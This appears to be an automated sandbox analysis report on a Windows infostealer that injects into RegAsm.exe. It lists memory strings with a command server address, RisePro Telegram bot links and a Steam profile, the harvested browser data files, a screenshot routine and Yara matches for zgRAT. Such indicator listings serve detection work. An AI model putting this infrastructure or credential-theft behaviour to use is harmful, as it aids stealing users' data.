Source: RegAsm.exe, 0000002B.00000002.4567061171.00000000005C8000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://49.13.33.235:9000cal
Source: RegAsm.exe, 0000002B.00000002.4567061171.0000000000539000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://49.13.33.235:9000csrss.exe
Source: RegAsm.exe, 0000002B.00000002.4567061171.00000000005C8000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://49.13.33.235:9000tel
Source: CvldljVivtL9Web Data.2.dr, BAAEHD.43.dr, ev40y13uGHnnWeb Data.2.dr, atr5zp8nilwZWeb Data.2.dr	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: RegAsm.exe, 0000001C.00000002.2283576275.0000000002AAD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.ip.s
Source: RegAsm.exe, 0000001C.00000002.2283576275.0000000002AAD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.ip.sb/ip
Source: CvldljVivtL9Web Data.2.dr, BAAEHD.43.dr, ev40y13uGHnnWeb Data.2.dr, atr5zp8nilwZWeb Data.2.dr	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: CvldljVivtL9Web Data.2.dr, BAAEHD.43.dr, ev40y13uGHnnWeb Data.2.dr, atr5zp8nilwZWeb Data.2.dr	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: CvldljVivtL9Web Data.2.dr, BAAEHD.43.dr, ev40y13uGHnnWeb Data.2.dr, atr5zp8nilwZWeb Data.2.dr	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: RegAsm.exe, 00000028.00000002.3775221694.000000000167F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://db-ip.com/
Source: RegAsm.exe, 00000013.00000002.4254155191.00000000011CB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://db-ip.com/1
Source: RegAsm.exe, 00000002.00000002.2359052796.0000000001021000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000013.00000002.4254155191.00000000011B0000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000013.00000002.4254155191.00000000011CB000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000028.00000002.3775221694.000000000167F000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000028.00000002.3775221694.000000000165A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://db-ip.com/demo/home.php?s=8.46.123.33
Source: RegAsm.exe, 00000002.00000002.2359052796.0000000001021000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://db-ip.com/x
Source: RegAsm.exe, 00000013.00000002.4254155191.00000000011B0000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000028.00000002.3775221694.0000000001644000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://db-ip.com:443/demo/home.php?s=8.46.123.33
Source: RegAsm.exe, 00000002.00000002.2359052796.0000000001021000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://db-ip.com:443/demo/home.php?s=8.46.123.33J
Source: RegAsm.exe, 0000001C.00000002.2283576275.0000000002B61000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://discord.com/api/v9/users/
Source: CvldljVivtL9Web Data.2.dr, BAAEHD.43.dr, ev40y13uGHnnWeb Data.2.dr, atr5zp8nilwZWeb Data.2.dr	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: CvldljVivtL9Web Data.2.dr, BAAEHD.43.dr, ev40y13uGHnnWeb Data.2.dr, atr5zp8nilwZWeb Data.2.dr	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: CvldljVivtL9Web Data.2.dr, BAAEHD.43.dr, ev40y13uGHnnWeb Data.2.dr, atr5zp8nilwZWeb Data.2.dr	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: RegAsm.exe, 00000013.00000002.4253708166.000000000115A000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000028.00000002.3774884245.00000000015F3000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000028.00000002.3775221694.000000000167F000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000028.00000002.3775221694.0000000001644000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000028.00000002.3774884245.00000000015FD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ipinfo.io/
Source: RegAsm.exe, 00000028.00000002.3774884245.00000000015FD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ipinfo.io/=
Source: RegAsm.exe, 00000002.00000002.2359052796.0000000000FC9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ipinfo.io/I
Source: RegAsm.exe, 00000002.00000002.2359052796.0000000001021000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000013.00000002.4254155191.00000000011B0000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000028.00000002.3775221694.0000000001644000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ipinfo.io/Mozilla/5.0
Source: BRWgvKaqbg.exe, 00000000.00000002.2242964573.000000000059F000.00000004.00000001.01000000.00000003.sdmp, RegAsm.exe, 00000002.00000002.2356975789.0000000000400000.00000040.00000400.00020000.00000000.sdmp, s7jOcwxjI7k0XEcaiYN_.exe, 0000000D.00000002.2290987179.0000000000DCF000.00000004.00000001.01000000.00000007.sdmp, MSIUpdaterV168.exe, 0000000E.00000002.2340892843.000000000064F000.00000004.00000001.01000000.00000008.sdmp, MSIUpdaterV168.exe, 0000000F.00000002.2297891891.000000000064F000.00000004.00000001.01000000.00000008.sdmp	String found in binary or memory: https://ipinfo.io/https://www.maxmind.com/en/locate-my-ip-addressWs2_32.dll
Source: RegAsm.exe, 00000028.00000002.3774884245.00000000015EE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ipinfo.io/widget/demo/8.46.123.33
Source: RegAsm.exe, 00000013.00000002.4254155191.0000000001188000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ipinfo.io/widget/demo/8.46.123.33?G
Source: RegAsm.exe, 00000013.00000002.4253708166.000000000112A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ipinfo.io/widget/demo/8.46.123.33j
Source: RegAsm.exe, 00000002.00000002.2359052796.0000000001021000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000013.00000002.4254155191.00000000011B0000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000028.00000002.3775221694.0000000001644000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ipinfo.io:443/widget/demo/8.46.123.33
Source: pQuKvF5V8lUXfe4thfRR.exe, 0000002A.00000002.2301583226.000000000045F000.00000004.00000001.01000000.0000000F.sdmp, RegAsm.exe, RegAsm.exe, 0000002B.00000002.4567061171.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/profiles/76561199707802586
Source: pQuKvF5V8lUXfe4thfRR.exe, 0000002A.00000002.2301583226.000000000045F000.00000004.00000001.01000000.0000000F.sdmp, RegAsm.exe, 0000002B.00000002.4567061171.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/profiles/76561199707802586hellosqlt.dllsqlite3.dll
Source: 3b6N2Xdh3CYwplaces.sqlite.2.dr	String found in binary or memory: https://support.mozilla.org
Source: 3b6N2Xdh3CYwplaces.sqlite.2.dr	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: 3b6N2Xdh3CYwplaces.sqlite.2.dr	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.allizom.troppus.GVegJq3nFfBL
Source: RegAsm.exe, 00000028.00000002.3775221694.000000000165A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://t.K
Source: RegAsm.exe, 0000002B.00000002.4568930773.0000000000F8E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://t.me/
Source: RegAsm.exe, 00000013.00000002.4253708166.000000000112A000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000028.00000002.3774884245.00000000015BA000.00000004.00000020.00020000.00000000.sdmp, ZAu2iiJBgBZikoF1oNNHtbO.zip.2.dr	String found in binary or memory: https://t.me/RiseProSUPPORT
Source: RegAsm.exe, 00000028.00000002.3774884245.00000000015BA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://t.me/RiseProSUPPORT&nd
Source: pQuKvF5V8lUXfe4thfRR.exe, 0000002A.00000002.2301583226.000000000045F000.00000004.00000001.01000000.0000000F.sdmp, RegAsm.exe, RegAsm.exe, 0000002B.00000002.4567061171.0000000000400000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000002B.00000002.4569542245.0000000000FC3000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000002B.00000002.4568930773.0000000000F8E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://t.me/g067n
Source: pQuKvF5V8lUXfe4thfRR.exe, 0000002A.00000002.2301583226.000000000045F000.00000004.00000001.01000000.0000000F.sdmp, RegAsm.exe, 0000002B.00000002.4567061171.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://t.me/g067nry1neMozilla/5.0
Source: RegAsm.exe, 00000028.00000002.3775221694.000000000167F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://t.me/risepro
Source: RegAsm.exe, 00000028.00000002.3775221694.000000000167F000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000028.00000002.3775969962.0000000005A65000.00000004.00000020.00020000.00000000.sdmp, passwords.txt.2.dr	String found in binary or memory: https://t.me/risepro_bot
Source: RegAsm.exe, 00000002.00000002.2359052796.0000000001021000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://t.me/risepro_botisepro_bot
Source: RegAsm.exe, 00000028.00000002.3775221694.000000000167F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://t.me/risepro_botlater3
Source: RegAsm.exe, 0000002B.00000002.4569542245.0000000000FC3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://web.telegram.org
Source: CvldljVivtL9Web Data.2.dr, BAAEHD.43.dr, ev40y13uGHnnWeb Data.2.dr, atr5zp8nilwZWeb Data.2.dr	String found in binary or memory: https://www.ecosia.org/newtab/
Source: CvldljVivtL9Web Data.2.dr, BAAEHD.43.dr, ev40y13uGHnnWeb Data.2.dr, atr5zp8nilwZWeb Data.2.dr	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: RegAsm.exe	String found in binary or memory: https://www.maxmind.com/en/locate-my-ip-address
Source: 3b6N2Xdh3CYwplaces.sqlite.2.dr	String found in binary or memory: https://www.mozilla.org
Source: 3b6N2Xdh3CYwplaces.sqlite.2.dr	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.CDjelnmQJyZc
Source: 3b6N2Xdh3CYwplaces.sqlite.2.dr	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.b3lOZaxJcpF6
Source: RegAsm.exe, 00000002.00000002.2360684561.000000000571B000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000002.00000002.2359052796.000000000107A000.00000004.00000020.00020000.00000000.sdmp, Firefox_v6zchhhv.default-release.txt.2.dr	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/
Source: RegAsm.exe, 00000002.00000002.2360684561.0000000005757000.00000004.00000020.00020000.00000000.sdmp, D87fZN3R3jFeplaces.sqlite.2.dr, 3b6N2Xdh3CYwplaces.sqlite.2.dr	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/Firefox
Source: 3b6N2Xdh3CYwplaces.sqlite.2.dr	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: RegAsm.exe, 00000002.00000002.2360684561.0000000005757000.00000004.00000020.00020000.00000000.sdmp, D87fZN3R3jFeplaces.sqlite.2.dr, 3b6N2Xdh3CYwplaces.sqlite.2.dr	String found in binary or memory: https://www.mozilla.org/media/img/mozorg/mozilla-256.4720741d4108.jpg
Source: RegAsm.exe, 00000002.00000002.2360684561.000000000571B000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000002.00000002.2359052796.000000000107A000.00000004.00000020.00020000.00000000.sdmp, Firefox_v6zchhhv.default-release.txt.2.dr	String found in binary or memory: https://www.mozilla.org/privacy/firefox/
Source: RegAsm.exe, 00000002.00000002.2360684561.0000000005757000.00000004.00000020.00020000.00000000.sdmp, D87fZN3R3jFeplaces.sqlite.2.dr, 3b6N2Xdh3CYwplaces.sqlite.2.dr	String found in binary or memory: https://www.mozilla.org/privacy/firefox/gro.allizom.www.
Source: RegAsm.exe, 00000002.00000002.2359052796.000000000107A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/txtx

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49777
Source: unknown	Network traffic detected: HTTP traffic on port 49734 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49776
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49775
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49774
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49773
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49772
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49771
Source: unknown	Network traffic detected: HTTP traffic on port 49775 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49776 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49713 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49777 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49715 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49715
Source: unknown	Network traffic detected: HTTP traffic on port 49773 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49778 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49713
Source: unknown	Network traffic detected: HTTP traffic on port 49774 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49734
Source: unknown	Network traffic detected: HTTP traffic on port 49771 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49772 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49778

Source: unknown	HTTPS traffic detected: 34.117.186.192:443 -> 192.168.2.5:49713 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.26.4.15:443 -> 192.168.2.5:49715 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.99:443 -> 192.168.2.5:49734 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.117.186.192:443 -> 192.168.2.5:49771 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.26.4.15:443 -> 192.168.2.5:49772 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.117.186.192:443 -> 192.168.2.5:49773 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.117.186.192:443 -> 192.168.2.5:49774 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.26.4.15:443 -> 192.168.2.5:49775 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.26.4.15:443 -> 192.168.2.5:49776 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.117.186.192:443 -> 192.168.2.5:49777 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.26.4.15:443 -> 192.168.2.5:49778 version: TLS 1.2

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 2_2_004E5FF0 GdiplusStartup,GetSystemMetrics,GetSystemMetrics,GetSystemMetrics,GetDC,CreateCompatibleDC,CreateCompatibleBitmap,SelectObject,BitBlt,GdipCreateBitmapFromHBITMAP,GdipGetImageEncodersSize,GdipGetImageEncoders,GdipSaveImageToFile,DeleteObject,GdipDisposeImage,DeleteObject,ReleaseDC,GdiplusShutdown,

2_2_004E5FF0

Source: RegAsm.exe, 0000001C.00000002.2283576275.0000000002CA8000.00000004.00000800.00020000.00000000.sdmp

Binary or memory string: GetRawInputData

memstr_e84ee4f5-a

System Summary

Malicious sample detected (through community Yara rule)

Source: 28.2.RegAsm.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detects zgRAT Author: ditekSHen
Source: 26.2.hhUml7ndoUuFxb5WyDjE.exe.bd0000.0.unpack, type: UNPACKEDPE	Matched rule: Detects zgRAT Author: ditekSHen
Source: 33.2.MSIUpdaterV168.exe.c30000.0.unpack, type: UNPACKEDPE	Matched rule: Detects zgRAT Author: ditekSHen
Source: 35.2.MSIUpdaterV168.exe.c30000.0.unpack, type: UNPACKEDPE	Matched rule: Detects zgRAT Author: ditekSHen
Source: Process Memory Space: pQuKvF5V8lUXfe4thfRR.exe PID: 7288, type: MEMORYSTR	Matched rule: Detects Molerats sample - July 2017 Author: Florian Roth

Source: C:\Users\user\Desktop\BRWgvKaqbg.exe	Code function: 0_2_005928F0	0_2_005928F0
Source: C:\Users\user\Desktop\BRWgvKaqbg.exe	Code function: 0_2_0058C207	0_2_0058C207
Source: C:\Users\user\Desktop\BRWgvKaqbg.exe	Code function: 0_2_00588D09	0_2_00588D09
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_0044002D	2_2_0044002D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_004C00A0	2_2_004C00A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_004A6250	2_2_004A6250
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_004AA200	2_2_004AA200
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_0040A2C0	2_2_0040A2C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_0050A2B0	2_2_0050A2B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_004BE3C0	2_2_004BE3C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_004963B0	2_2_004963B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_004DE430	2_2_004DE430
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_004B84D0	2_2_004B84D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_004FA480	2_2_004FA480
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_00514550	2_2_00514550
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_00490600	2_2_00490600
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_004E06D0	2_2_004E06D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_004986B0	2_2_004986B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_004A88B0	2_2_004A88B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_004FA930	2_2_004FA930
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_004E4BD0	2_2_004E4BD0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_004FAD00	2_2_004FAD00
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_0049AF60	2_2_0049AF60
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_004DF030	2_2_004DF030
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_0049F0D0	2_2_0049F0D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_0049D3A0	2_2_0049D3A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_0053F550	2_2_0053F550
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_004B3600	2_2_004B3600
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_004D7600	2_2_004D7600
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_004B1630	2_2_004B1630
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_00495790	2_2_00495790
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_0040B8E0	2_2_0040B8E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_0048BAC8	2_2_0048BAC8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_004ADB20	2_2_004ADB20
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_00481C10	2_2_00481C10
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_00409C90	2_2_00409C90
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_004F7D00	2_2_004F7D00
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_00493F40	2_2_00493F40
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_004C1F20	2_2_004C1F20
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_005220D0	2_2_005220D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_004F60E0	2_2_004F60E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_004EE170	2_2_004EE170
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_0048611D	2_2_0048611D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_00512260	2_2_00512260
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_0044036F	2_2_0044036F
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_004A4320	2_2_004A4320
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_005083F6	2_2_005083F6
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_004F0450	2_2_004F0450
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_004845E0	2_2_004845E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_004F85F0	2_2_004F85F0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_004547BF	2_2_004547BF
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_00548840	2_2_00548840
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_004F2820	2_2_004F2820
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_0043C960	2_2_0043C960
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_00546970	2_2_00546970
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_0043A928	2_2_0043A928
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_005489CB	2_2_005489CB
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_00548983	2_2_00548983
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_00548A53	2_2_00548A53
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_00548A69	2_2_00548A69
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_004F8B40	2_2_004F8B40
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_00458BB0	2_2_00458BB0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_004EEC40	2_2_004EEC40
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_00548C8D	2_2_00548C8D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_00534D40	2_2_00534D40
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_00546D20	2_2_00546D20
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_00548D85	2_2_00548D85
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_00548DA7	2_2_00548DA7
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_00548E26	2_2_00548E26
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_0053AE20	2_2_0053AE20
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_00458E30	2_2_00458E30
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_00506EA0	2_2_00506EA0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_00516EA0	2_2_00516EA0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_004ECF20	2_2_004ECF20
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_004F2FD0	2_2_004F2FD0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_0054901B	2_2_0054901B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_00493080	2_2_00493080
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_004371A0	2_2_004371A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_005031A0	2_2_005031A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_0054923A	2_2_0054923A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_004A9380	2_2_004A9380
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_004D1450	2_2_004D1450
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_0042F580	2_2_0042F580
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_004D3600	2_2_004D3600
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_004A3610	2_2_004A3610
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_004CF6F0	2_2_004CF6F0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_00547760	2_2_00547760
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_004F7730	2_2_004F7730
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_004E77E0	2_2_004E77E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_005397B0	2_2_005397B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_004F7960	2_2_004F7960
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_0047B970	2_2_0047B970
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_004EF9A0	2_2_004EF9A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_004CBAC0	2_2_004CBAC0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_0044DA86	2_2_0044DA86
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_0051DBB0	2_2_0051DBB0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_004EFC40	2_2_004EFC40
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_004F7C00	2_2_004F7C00
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_00503CC0	2_2_00503CC0
